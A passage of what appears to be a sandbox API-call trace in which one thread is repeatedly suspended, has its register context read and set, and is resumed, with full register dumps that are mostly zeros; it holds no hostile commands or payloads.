FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0089.140] ResumeThread (hThread=0x130) returned 0x1
[0089.140] CloseHandle (hObject=0x130) returned 1
[0089.141] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.178] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.212] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.301] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.378] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0089.378] SuspendThread (hThread=0x130) returned 0x0
[0089.378] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001476a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12dd080, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0089.450] ResumeThread (hThread=0x130) returned 0x1
[0089.450] CloseHandle (hObject=0x130) returned 1
[0089.450] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.484] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.518] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.593] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.668] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0089.668] SuspendThread (hThread=0x130) returned 0x0
[0089.668] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147828, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1378380, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0089.825] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147820, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0089.893] ResumeThread (hThread=0x130) returned 0x1
[0089.893] CloseHandle (hObject=0x130) returned 1
[0089.893] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.928] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.965] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.161] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.236] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0090.236] SuspendThread (hThread=0x130) returned 0x0
[0090.236] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001475f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b9520, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, 